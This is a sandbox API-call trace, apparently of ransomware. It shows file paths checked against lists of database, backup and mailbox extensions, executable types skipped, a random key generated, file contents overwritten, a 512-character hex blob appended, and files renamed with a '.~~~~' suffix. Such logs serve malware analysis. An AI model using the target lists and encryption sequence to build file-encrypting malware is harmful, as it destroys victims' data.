	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DBF") returned 0x0
	[0139.859] lstrlenW (lpString=".EQL") returned 4
	[0139.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".EQL") returned 0x0
	[0139.859] lstrlenW (lpString=".FDB") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".FDB") returned 0x0
	[0139.860] lstrlenW (lpString=".EDB") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".EDB") returned 0x0
	[0139.860] lstrlenW (lpString=".DACPAC") returned 7
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.860] lstrlenW (lpString=".VHD") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".VHD") returned 0x0
	[0139.860] lstrlenW (lpString=".DBV") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DBV") returned 0x0
	[0139.860] lstrlenW (lpString=".dacpac") returned 7
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dacpac") returned 0x0
	[0139.860] lstrlenW (lpString=".sdf") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".sdf") returned 0x0
	[0139.860] lstrlenW (lpString=".accdb") returned 6
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".accdb") returned 0x0
	[0139.860] lstrlenW (lpString=".DBX") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DBX") returned 0x0
	[0139.860] lstrlenW (lpString=".MDT") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".MDT") returned 0x0
	[0139.860] lstrlenW (lpString=".SQB") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".SQB") returned 0x0
	[0139.860] lstrlenW (lpString=".vhd") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".vhd") returned 0x0
	[0139.860] lstrlenW (lpString=".bac") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".bac") returned 0x0
	[0139.860] lstrlenW (lpString=".mdf") returned 4
	[0139.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".mdf") returned 0x0
	[0139.861] lstrlenW (lpString=".BAK") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".BAK") returned 0x0
	[0139.861] lstrlenW (lpString=".BAC") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".BAC") returned 0x0
	[0139.861] lstrlenW (lpString=".dbs") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dbs") returned 0x0
	[0139.861] lstrlenW (lpString=".vhdx") returned 5
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".vhdx") returned 0x0
	[0139.861] lstrlenW (lpString=".NDF") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".NDF") returned 0x0
	[0139.861] lstrlenW (lpString=".dat") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dat") returned 0x0
	[0139.861] lstrlenW (lpString=".DBS") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DBS") returned 0x0
	[0139.861] lstrlenW (lpString=".CKP") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".CKP") returned 0x0
	[0139.861] lstrlenW (lpString=".edb") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".edb") returned 0x0
	[0139.861] lstrlenW (lpString=".PST") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".PST") returned 0x0
	[0139.861] lstrlenW (lpString=".dbf") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dbf") returned 0x0
	[0139.861] lstrlenW (lpString=".SQL") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".SQL") returned 0x0
	[0139.861] lstrlenW (lpString=".pst") returned 4
	[0139.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".pst") returned 0x0
	[0139.861] lstrlenW (lpString=".dbv") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dbv") returned 0x0
	[0139.862] lstrlenW (lpString=".SDF") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".SDF") returned 0x0
	[0139.862] lstrlenW (lpString=".dtxs") returned 5
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dtxs") returned 0x0
	[0139.862] lstrlenW (lpString=".db3") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".db3") returned 0x0
	[0139.862] lstrlenW (lpString=".OST") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".OST") returned 0x0
	[0139.862] lstrlenW (lpString=".dbx") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dbx") returned 0x0
	[0139.862] lstrlenW (lpString=".DB3") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DB3") returned 0x0
	[0139.862] lstrlenW (lpString=".DAT") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DAT") returned 0x0
	[0139.862] lstrlenW (lpString=".VHDX") returned 5
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".VHDX") returned 0x0
	[0139.862] lstrlenW (lpString=".ndf") returned 4
	[0139.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".ndf") returned 0x0
	[0139.885] lstrlenW (lpString=".DB") returned 3
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DB") returned 0x0
	[0139.885] lstrlenW (lpString=".sql") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".sql") returned 0x0
	[0139.885] lstrlenW (lpString=".MYD") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".MYD") returned 0x0
	[0139.885] lstrlenW (lpString=".DBT") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DBT") returned 0x0
	[0139.885] lstrlenW (lpString=".ACCDB") returned 6
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.885] lstrlenW (lpString=".fdb") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".fdb") returned 0x0
	[0139.885] lstrlenW (lpString=".bak") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".bak") returned 0x0
	[0139.885] lstrlenW (lpString=".myd") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".myd") returned 0x0
	[0139.885] lstrlenW (lpString=".DTXS") returned 5
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".DTXS") returned 0x0
	[0139.885] lstrlenW (lpString=".ckp") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".ckp") returned 0x0
	[0139.885] lstrlenW (lpString=".dbt") returned 4
	[0139.885] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".dbt") returned 0x0
	[0139.886] lstrlenW (lpString=".db") returned 3
	[0139.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".db") returned 0x0
	[0139.886] lstrlenW (lpString=".TXT") returned 4
	[0139.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".TXT") returned 0x0
	[0139.886] lstrlenW (lpString=".MDF") returned 4
	[0139.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".MDF") returned 0x0
	[0139.886] lstrlenW (lpString=".bdb") returned 4
	[0139.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".bdb") returned 0x0
	[0139.886] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.886] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0139.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.886] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0139.887] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.887] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0139.888] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25987778926) returned 1
	[0139.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbccb05f0, dwHighDateTime=0x1d60e1e)) 
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d7d8
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d7d8 | out: hHeap=0x300000) returned 1
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398b40
	[0139.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.888] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398b40 | out: hHeap=0x300000) returned 1
	[0139.888] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0139.889] GetLastError () returned 0x0
	[0139.889] GetLastError () returned 0x0
	[0139.889] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0139.889] GetLastError () returned 0x0
	[0139.889] GetLastError () returned 0x0
	[0139.889] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.893] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.893] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0139.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0139.894] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.894] WriteFile (in: hFile=0x108, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0139.895] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.895] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.895] CloseHandle (hObject=0x108) returned 1
	[0139.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398b40
	[0139.897] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME42.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme42.css.~~~~")) returned 1
	[0139.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398b40 | out: hHeap=0x300000) returned 1
	[0139.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0139.899] GetLastError () returned 0x0
	[0139.900] RtlWakeConditionVariable () returned 0x0
	[0139.900] GetCurrentThreadId () returned 0x3a4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".scr") returned 0x0
	[0139.900] lstrlenW (lpString=".cmd") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".cmd") returned 0x0
	[0139.900] lstrlenW (lpString=".dll") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dll") returned 0x0
	[0139.900] lstrlenW (lpString=".bat") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".bat") returned 0x0
	[0139.900] lstrlenW (lpString=".cpl") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".cpl") returned 0x0
	[0139.900] lstrlenW (lpString=".sys") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".sys") returned 0x0
	[0139.900] lstrlenW (lpString=".msc") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".msc") returned 0x0
	[0139.900] lstrlenW (lpString=".com") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".com") returned 0x0
	[0139.900] lstrlenW (lpString=".lnk") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".lnk") returned 0x0
	[0139.900] lstrlenW (lpString=".msp") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".msp") returned 0x0
	[0139.900] lstrlenW (lpString=".pif") returned 4
	[0139.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".pif") returned 0x0
	[0139.900] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.901] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme44.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0139.903] lstrlenW (lpString=".sqb") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".sqb") returned 0x0
	[0139.903] lstrlenW (lpString=".ost") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".ost") returned 0x0
	[0139.903] lstrlenW (lpString=".txt") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".txt") returned 0x0
	[0139.903] lstrlenW (lpString=".mdt") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".mdt") returned 0x0
	[0139.903] lstrlenW (lpString=".BDB") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".BDB") returned 0x0
	[0139.903] lstrlenW (lpString=".eql") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".eql") returned 0x0
	[0139.903] lstrlenW (lpString=".DBF") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DBF") returned 0x0
	[0139.903] lstrlenW (lpString=".EQL") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".EQL") returned 0x0
	[0139.903] lstrlenW (lpString=".FDB") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".FDB") returned 0x0
	[0139.903] lstrlenW (lpString=".EDB") returned 4
	[0139.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".EDB") returned 0x0
	[0139.904] lstrlenW (lpString=".DACPAC") returned 7
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.904] lstrlenW (lpString=".VHD") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".VHD") returned 0x0
	[0139.904] lstrlenW (lpString=".DBV") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DBV") returned 0x0
	[0139.904] lstrlenW (lpString=".dacpac") returned 7
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dacpac") returned 0x0
	[0139.904] lstrlenW (lpString=".sdf") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".sdf") returned 0x0
	[0139.904] lstrlenW (lpString=".accdb") returned 6
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".accdb") returned 0x0
	[0139.904] lstrlenW (lpString=".DBX") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".DBX") returned 0x0
	[0139.904] lstrlenW (lpString=".MDT") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".MDT") returned 0x0
	[0139.904] lstrlenW (lpString=".SQB") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".SQB") returned 0x0
	[0139.904] lstrlenW (lpString=".vhd") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".vhd") returned 0x0
	[0139.904] lstrlenW (lpString=".bac") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".bac") returned 0x0
	[0139.904] lstrlenW (lpString=".mdf") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".mdf") returned 0x0
	[0139.904] lstrlenW (lpString=".BAK") returned 4
	[0139.904] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".BAK") returned 0x0
	[0139.904] lstrlenW (lpString=".BAC") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".BAC") returned 0x0
	[0139.905] lstrlenW (lpString=".dbs") returned 4
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".dbs") returned 0x0
	[0139.905] lstrlenW (lpString=".vhdx") returned 5
	[0139.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME44.CSS", lpSrch=".vhdx") returned 0x0
	[0139.905] lstrlenW (lpString=".NDF") returned 4
